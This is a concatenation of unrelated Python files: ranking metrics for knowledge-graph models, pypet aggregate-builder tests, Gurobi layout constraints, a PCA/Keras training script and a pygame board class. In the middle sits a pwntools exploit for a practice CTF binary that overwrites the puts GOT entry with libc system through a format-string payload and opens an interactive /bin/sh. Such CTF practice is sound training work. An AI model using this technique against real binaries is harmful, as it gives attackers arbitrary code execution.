    # full_rank = rankdata(-scores, method='ordinal', axis=1)  # 从大到小的rank 尝试
    full_rank = rankdata(-scores, method='average', axis=1)  # 从大到小的rank
    filter_scores = scores * filters
    filter_rank = rankdata(-filter_scores, method='min', axis=1)
    ranks = (full_rank - filter_rank + 1) * labels      # get the ranks of multiple answering entities simultaneously
    ranks = ranks[np.nonzero(ranks)]
    return list(ranks)

def cal_ranks_new(scores, labels, filters):  # 输入都是B×E  labels必然在filters中
    max_value = 10000
    label_score_new = 1 * max_value * labels
    filter_score_new = -1 * max_value * filters
    new_score = scores + label_score_new + filter_score_new
    ranks = rankdata(-new_score, method='average', axis=1)
    ranks = ranks * labels
    ranks = ranks[np.nonzero(ranks)]
    return list(ranks)

def cal_performance(ranks):
    mrr = (1. / ranks).sum() / len(ranks)
    h_1 = sum(ranks<=1) * 1.0 / len(ranks)
    h_3 = sum(ranks<=3) * 1.0 / len(ranks)
    h_10 = sum(ranks<=10) * 1.0 / len(ranks)
    return mrr, h_1, h_3, h_10


from pypet.test import BaseTestCase
from pypet.aggbuilder import AggBuilder, reflect_aggregates

class TestAggregateBuilder(BaseTestCase):

    def test_builder(self):
        c = self.cube
        query = c.query.axis(c.d['time'].l['month'],
                c.d['store'].l['region'])
        facts_table_result = query.execute()
        other_query = c.query.axis(c.d['time'].l['year'])
        facts_table_other_result = other_query.execute()
        builder = AggBuilder(query)
        builder.build()
        agg_expected_name = 'agg_time_month_store_region'
        assert ([agg.selectable.name for agg in c.aggregates] ==
                [agg_expected_name])
        sql_query = str(query._as_sql())
        assert agg_expected_name in sql_query
        assert c.table.name not in sql_query
        assert query.execute() == facts_table_result
        sql_query = str(other_query._as_sql())
        assert agg_expected_name in sql_query
        assert c.table.name not in sql_query
        assert other_query.execute() == facts_table_other_result

    def test_matching(self):
        c = self.cube
        query = c.query.axis(c.d['time'].l['month'],
                c.d['store'].l['region'])
        facts_table_result = query.execute()
        other_query = c.query.axis(c.d['time'].l['year'])
        facts_table_other_result = other_query.execute()
        reflect_aggregates(self.cube)
        # We should have found two aggregate/hs
        assert len(self.cube.aggregates) == 2
        month, year = sorted(self.cube.aggregates,
                key=lambda x: x.selectable.name)
        assert set(month.levels.keys()) == set([
                self.cube.d['time'].l['month'],
                self.cube.d['product'].l['product'],
                self.cube.d['store'].l['store']])
        assert set(year.levels.keys()) == set([
                self.cube.d['time'].l['year'],
                self.cube.d['product'].l['product'],
                self.cube.d['store'].l['country']])
        assert set(month.measures.keys()) == set(['Unit Price', 'Quantity', 'FACT_COUNT'])
        assert set(year.measures.keys()) == set(['Unit Price', 'Quantity', 'FACT_COUNT'])

        sql_query = str(query._as_sql())
        assert self.agg_by_month_table.name in sql_query
        assert c.table.name not in sql_query
        assert query.execute() == facts_table_result
        sql_query = str(other_query._as_sql())
        assert self.agg_by_year_country_table.name in sql_query
        assert c.table.name not in sql_query
        assert other_query.execute() == facts_table_other_result

class TestTriggers(BaseTestCase):

    def test_triggers(self, schema=None):
        c = self.cube
        query = c.query.axis(c.d['time'].l['month'],
                c.d['store'].l['region'],
                c.d['product'].l['All'])
        builder = AggBuilder(query)
        builder.build(with_trigger=True, schema=schema)
        old_total_qty = c.query.axis().execute()["Quantity"]
        old_total_fact_count = c.query.axis().execute()["FACT_COUNT"]
        # Test with a value already in the agg table
        c.table.insert({
            'store_id': 1,
            'product_id': 2,
            'date': '2009-01-12',
            'qty': 200,
            'price': 1000}).execute()
        oldaggs = c.aggregates
        c.aggregates = []
        result = c.query.axis().execute()
        c.aggregates = oldaggs
        newresult = c.query.axis().execute()

        assert 'facts_table' not in str(c.query._as_sql())
        assert newresult == result
        assert newresult["Quantity"] == old_total_qty + 200
        assert newresult["FACT_COUNT"] == old_total_fact_count + 200
        # Test with a new value (insert statement)
        c.table.insert({
            'store_id': 1,
            'product_id': 2,
            'date': '2020-01-12',
            'qty': 200,
            'price': 1000}).execute()
        oldaggs = c.aggregates
        c.aggregates = []
        result = c.query.axis().execute()
        c.aggregates = oldaggs
        newresult = c.query.axis().execute()
        assert 'facts_table' not in str(c.query._as_sql())
        assert newresult == result
        assert newresult["Quantity"] == old_total_qty + 400
        res = c.query.axis(c.d['time'].l['year']).filter(
                c.d['time'].l['year'].member_by_label('2020')).execute()
        assert len(res) == 1
        assert res.by_label()['2020'].Quantity == 200
        assert res.by_label()['2020'].FACT_COUNT == 200

    def test_in_schema(self):
        self.test_triggers(schema='aggregates')

    def setUp(self):
        self.schema = None
        super(TestTriggers, self).setUp()
        self.cube.table.bind.execute('CREATE SCHEMA aggregates')

    def tearDown(self):
        self.cube.table.bind.execute('DROP SCHEMA aggregates CASCADE');
        if self.schema is None:
            fn_name = 'trigger_function_agg_time_month_store_region_product_All'
            self.cube.table.bind.execute('DROP FUNCTION IF EXISTS "ins_%s"() CASCADE' % fn_name)
            self.cube.table.bind.execute('DROP FUNCTION IF EXISTS "upd_%s"() CASCADE' % fn_name)
        super(TestTriggers, self).tearDown()


from pwn import *

elf = context.binary = ELF('./got_overwrite-64')

io = elf.process()
libc = elf.libc

libc.address = 0x7ffff7dcd000

print(hex(elf.got['printf']))

print(hex(elf.got['puts']))

payload = fmtstr_payload(6,{elf.got['puts'] : libc.sym['system']})

io.sendline(p64(elf.got['puts']))
leak = io.recvline()
leak = int(leak,16)
print("leak : " , hex(leak))

payload += b'/bin/sh'
gdb.attach(io)
#io.sendline('/bin/sh')
io.sendline(payload)
io.clean()
io.interactive()

Practice Challenges & CTF Exploits/got-overwrite/exp.py


from collections import namedtuple
from enum import Enum
from itertools import product, permutations
from math import ceil, floor, sqrt
from typing import List

from gurobipy import GRB, GenExpr, LinExpr, Model, tupledict, abs_, and_, max_, min_, or_, QuadExpr, GurobiError

from .classes import Layout, Element

def preserve_relationships(m: Model, elements: List[Element], x0, x1, y0, y1):
    for element, other in permutations(elements, 2):
        # If elements overlap, don’t force relationship
        if not element.does_overlap(other):
            # If an element is above or to the left of the other, it should stay there
            if element.y1 <= other.y0: # element is above the other
                m.addConstr(y1[element.id] <= y0[other.id])
            if element.x1 <= other.x0: # element is on the left side of the other
                m.addConstr(x1[element.id] <= x0[other.id])

            if True:
                # Preferences for overlap in a single dimension
                if element.x0 <= other.x0: # Element begins before the other
                    m.addConstr(x0[element.id] <= x1[other.id])
                if element.x1 >= other.x1: # Element ends after the other
                    m.addConstr(x1[element.id] >= x0[other.id])
                if element.y0 <= other.y0: # Element begins before the other
                    m.addConstr(y0[element.id] <= y1[other.id])
                if element.y1 >= other.y1: # Element ends after the other
                    m.addConstr(y1[element.id] >= y0[other.id])

def prevent_overlap(m: Model, elem_ids: List[str], x0x1diff: tupledict, y0y1diff: tupledict, min_distance: int = 0):

    distance = m.addVars(permutations(elem_ids, 2), lb=-GRB.INFINITY, vtype=GRB.INTEGER)

    for i1, i2 in permutations(elem_ids, 2):
        m.addConstr(distance[i1, i2] == max_(x0x1diff[i1, i2], x0x1diff[i2, i1], y0y1diff[i1, i2], y0y1diff[i2, i1]))
        m.addConstr(distance[i1, i2] >= min_distance)

def add_pairwise_diff(m: Model, ids: List, var1: tupledict, var2: tupledict=None):
    if var2 is None:
        var2 = var1
    diff = m.addVars(permutations(ids, 2), lb=-GRB.INFINITY, vtype=GRB.INTEGER)
    for i1, i2 in permutations(ids, 2):
        m.addConstr(diff[i1, i2] == var1[i1] - var2[i2])
    return diff

def add_coord_vars(m: Model, elem_ids, available_width, available_height):
    x0 = m.addVars(elem_ids, lb=0, vtype=GRB.INTEGER)
    y0 = m.addVars(elem_ids, lb=0, vtype=GRB.INTEGER)
    x1 = m.addVars(elem_ids, lb=1, vtype=GRB.INTEGER)
    y1 = m.addVars(elem_ids, lb=1, vtype=GRB.INTEGER)

    for i in elem_ids:
        m.addConstr(x0[i] <= x1[i] - 1)         # x0 < x1 sanity
        m.addConstr(y0[i] <= y1[i] - 1)         # y0 < y1 sanity
        m.addConstr(x1[i] <= available_width)   # contain to available width
        m.addConstr(y1[i] <= available_height)  # contain to available height

    return x0, y0, x1, y1

def add_less_than_vars(m: Model, ids: List, diff: tupledict):
    less_than = m.addVars(permutations(ids, 2), vtype=GRB.BINARY)
    for i1, i2 in permutations(ids, 2):
        m.addConstr((less_than[i1, i2] == 1) >> (diff[i1, i2] <= -1))
        m.addConstr((less_than[i1, i2] == 0) >> (diff[i1, i2] >= 0))
    return less_than

def add_equals_var(m: Model, var1: tupledict, var2: tupledict):
    var_max = m.addVar(vtype=GRB.INTEGER)
    var_min = m.addVar(vtype=GRB.INTEGER)
    m.addConstr(var_max == max_(var1, var2))
    m.addConstr(var_min == min_(var1, var2))

    equals = m.addVar(vtype=GRB.BINARY)
    m.addConstr((equals == 1) >> (var_max == var_min))
    m.addConstr((equals == 0) >> (var_max >= 1 + var_min))

    return equals


import numpy as np
from util import load_data
from util import create_logfile
import csv
import pandas as pd
from sklearn.decomposition import PCA
from vanilla_ann import DataGenerator, Prediction_Model, train_model
import keras
from imblearn.keras import BalancedBatchGenerator
from imblearn.under_sampling import RandomUnderSampler

if __name__ == '__main__':

    (X_train, y_train), (X_test, y_test), (X_val, y_val) = load_data()
    y_train_onehot = keras.utils.to_categorical(y_train, len(np.unique(y_train.values.astype('float32'))))

    num_features = 6
    layers = [64, 64, 64]
    model_name = 'ann-pca'
    num_outputs = len(np.unique(y_train.astype(int)))
    batch_size = 128

    pca = PCA(n_components=num_features)
    pca.fit(X_train)
    comp_columns = [f'comp {i}' for i in range(len(pca.components_))]

    X_train = pd.DataFrame(pca.transform(X_train), columns=comp_columns)
    X_val = pd.DataFrame(pca.transform(X_val), columns=comp_columns)
    X_test = pd.DataFrame(pca.transform(X_test), columns=comp_columns)

    model = Prediction_Model((num_features, layers, num_outputs, model_name))

    # Parameters
    params = {'num_features': num_features,
              'batch_size': batch_size,
              'shuffle': True,
              'num_outputs': num_outputs}

    # training_generator = DataGenerator(X_train, y_train, **params)
    sampler = RandomUnderSampler(random_state=42)
    training_generator = BalancedBatchGenerator(
        X_train, y_train_onehot, sampler=sampler, batch_size=batch_size, random_state=42)
    validation_generator = DataGenerator(X_val, y_val, **params)
    test_generator = DataGenerator(X_test, y_test, **params)

    train_model(
        model,
        training_generator,
        validation_generator,
        model_name,
        num_epochs=30
    )

    model.load_weights(f'log/{model_name}/weights.hdf5')
    log_fname = f'log/repres_losses.csv'

    create_logfile(log_fname)

    scores = model.evaluate_generator(test_generator)

    with open(log_fname, 'a') as f:
        writer = csv.writer(f)
        writer.writerow([model_name] + scores)

    # print('test loss', model_name, scores)


import pygame as p
import img_handling as i
# from win32api import GetSystemMetrics
# (width, height) = (GetSystemMetrics(0),GetSystemMetrics(1))
import pygame
infoObject = pygame.display.Info()
(width, height) = (infoObject.current_w, infoObject.current_h)
BOARD_LEFT_POS = (width-height)//2
dim_tile = p.Surface.get_size(i.WOOD_img)
cons_shift = (height-4*dim_tile[0])//2
cons_down = dim_tile[1]
vert_dim = p.Surface.get_size(i.ut)
#We hard-code the acceptable values for real vertices in a global list!
acceptable = [[5,6],[3,4,7,8],[1,2,5,6,9,10],[0,3,4,7,8,11],[1,2,5,6,9,10],[0,3,4,7,8,11],[1,2,5,6,9,10],[0,3,4,7,8,11],[1,2,5,6,9,10],[3,4,7,8],[5,6]]
class Vertex():
    def __init__(self, pos):
        self.pos = pos#y, x
        self.display_pos = [0,0]
        if self.pos[1]%2==0:
            self.display_pos[0] = int(BOARD_LEFT_POS+self.pos[1]//2*0.75*dim_tile[0]+cons_shift-vert_dim[0]/2)
        else:
            self.display_pos[0] = int(BOARD_LEFT_POS+self.pos[1]//2*0.75*dim_tile[0]+cons_shift+0.25*dim_tile[0]-vert_dim[0]/2)
        if self.pos[0]%2==0:
            self.display_pos[1] = int(self.pos[0]//2*dim_tile[1]+cons_down-vert_dim[1]/2)
        else:
            self.display_pos[1] = int(self.pos[0]//2*dim_tile[1]+cons_down+0.5*dim_tile[1]-vert_dim[1]/2)
        self.edges = []#used to store the frozenset of edges around it
        if pos[1]==0 or pos[1]==2 or pos[1]==4 or pos[1]==6 or pos[1]==8 or pos[1]==10:
            if pos[1] == 0:
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]+1))))
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]-1))))
            elif (pos[1]==6 and pos[0]==0) or (pos[1]==8 and pos[0]==1) or (pos[1]==10 and pos[0]==2):
                self.edges.append(frozenset((pos,(pos[0],pos[1]-1))))
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]+1))))
            elif (pos[1]==6 and pos[0]==10) or (pos[1]==8 and pos[0]==9) or (pos[1]==10 and pos[0]==8):
                self.edges.append(frozenset((pos,(pos[0],pos[1]-1))))
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]-1))))
            else:
                self.edges.append(frozenset((pos,(pos[0],pos[1]-1))))
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]+1))))
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]-1))))
        else:
            if pos[1]==11:
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]-1))))
                self.edges.append(frozenset((pos,(pos[0]+1,pos[1]-1))))
            elif (pos[1]==4 and pos[0]==0) or (pos[1]==3 and pos[0]==1) or (pos[1]==1 and pos[0]==2):
                self.edges.append(frozenset((pos,(pos[0],pos[1]+1))))
                self.edges.append(frozenset((pos,(pos[0]+1,pos[1]-1))))
            elif (pos[1]==4 and pos[0]==0) or (pos[1]==3 and pos[0]==1) or (pos[1]==1 and pos[0]==2):
                self.edges.append(frozenset((pos,(pos[0],pos[1]+1))))
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]-1))))
            else:
                self.edges.append(frozenset((pos,(pos[0]-1,pos[1]-1))))
                self.edges.append(frozenset((pos,(pos[0]+1,pos[1]-1))))
                self.edges.append(frozenset((pos,(pos[0],pos[1]+1))))
        self.occ_by = " "
        self.colour = " "
        self.build = False
        self.disp_hover = (p.Surface.get_width(i.oc_h)-p.Surface.get_width(i.oc))//2

    def draw_vertex(self, screen):
        if self.occ_by == " ":
            screen.blit(i.ut, self.display_pos)
        elif self.colour == "o":
            if self.occ_by == "ov":
                if self.is_hovered():
                    screen.blit(i.ov_h, (self.display_pos[0]-self.disp_hover, self.display_pos[1]-self.disp_hover))
                else:
                    screen.blit(i.ov, self.display_pos)
            else:
                if self.is_hovered():
                    screen.blit(i.oc_h, (self.display_pos[0]-self.disp_hover, self.display_pos[1]-self.disp_hover))
                else:
                    screen.blit(i.oc, self.display_pos)
        elif self.colour == "b":
            if self.occ_by == "bv":
                if self.is_hovered():
                    screen.blit(i.bv_h, (self.display_pos[0]-self.disp_hover, self.display_pos[1]-self.disp_hover))
                else:
                    screen.blit(i.bv, self.display_pos)
            else:
                if self.is_hovered():
                    screen.blit(i.bc_h, (self.display_pos[0]-self.disp_hover, self.display_pos[1]-self.disp_hover))
                else:
                    screen.blit(i.bc, self.display_pos)
        elif self.colour == "r":
            if self.occ_by == "rv":
                if self.is_hovered():
                    screen.blit(i.rv_h, (self.display_pos[0]-self.disp_hover, self.display_pos[1]-self.disp_hover))
                else:
                    screen.blit(i.rv, self.display_pos)
            else:
                if self.is_hovered():
                    screen.blit(i.rc_h, (self.display_pos[0]-self.disp_hover, self.display_pos[1]-self.disp_hover))
                else:
                    screen.blit(i.rc, self.display_pos)
        else:
            if self.occ_by == "wv":
                if self.is_hovered():
                    screen.blit(i.wv_h, (self.display_pos[0]-self.disp_hover, self.display_pos[1]-self.disp_hover))
                else:
                    screen.blit(i.wv, self.display_pos)
            else:
                if self.is_hovered():
                    screen.blit(i.wc_h, (self.display_pos[0]-self.disp_hover, self.display_pos[1]-self.disp_hover))
                else:
                    screen.blit(i.wc, self.display_pos)

    def is_hovered(self):
        #if mouseposition is within the circle then it is hovered
        #if r^2 > (mousepos_x - circle_center_x)^2 + (mousepos_y - circle_center_y)^2 then inside circle
        mousepos = p.mouse.get_pos()
        r = vert_dim[0]//2
        return r**2 > (mousepos[0]-(self.display_pos[0]+vert_dim[0]//2))**2 + (mousepos[1]-(self.display_pos[1]+vert_dim[1]//2))**2

    #deprecated function should not work like this!
    def build_menu(self, cur_player, screen):
        if self.build:
            if cur_player == "o":
                screen.blit(i.ov, (self.display_pos[0]+vert_dim[0],self.display_pos[1]+vert_dim[0]))
                screen.blit(i.oc, (self.display_pos[0]-vert_dim[0],self.display_pos[1]+vert_dim[0]))
            elif cur_player == "r":
                screen.blit(i.rv, (self.display_pos[0]+vert_dim[0],self.display_pos[1]+vert_dim[0]))
                screen.blit(i.rc, (self.display_pos[0]-vert_dim[0],self.display_pos[1]+vert_dim[0]))
            elif cur_player == "b":
                screen.blit(i.bv, (self.display_pos[0]+vert_dim[0],self.display_pos[1]+vert_dim[0]))
                screen.blit(i.bc, (self.display_pos[0]-vert_dim[0],self.display_pos[1]+vert_dim[0]))
            else:
                screen.blit(i.wv, (self.display_pos[0]+vert_dim[0],self.display_pos[1]+vert_dim[0]))
                screen.blit(i.wc, (self.display_pos[0]-vert_dim[0],self.display_pos[1]+vert_dim[0]))

def make_vertex(pos):
    new_vert = Vertex(pos)
    return new_vert

def fresh():
    #generates a new board of vertices indexed by row and then column (y,x)
    board = []
    for i in range(11):
        board.append([])
        for j in range(12):
            if j in acceptable[i]:
                board[i].append(make_vertex((i,j)))
            else:
                board[i].append(None)
    return board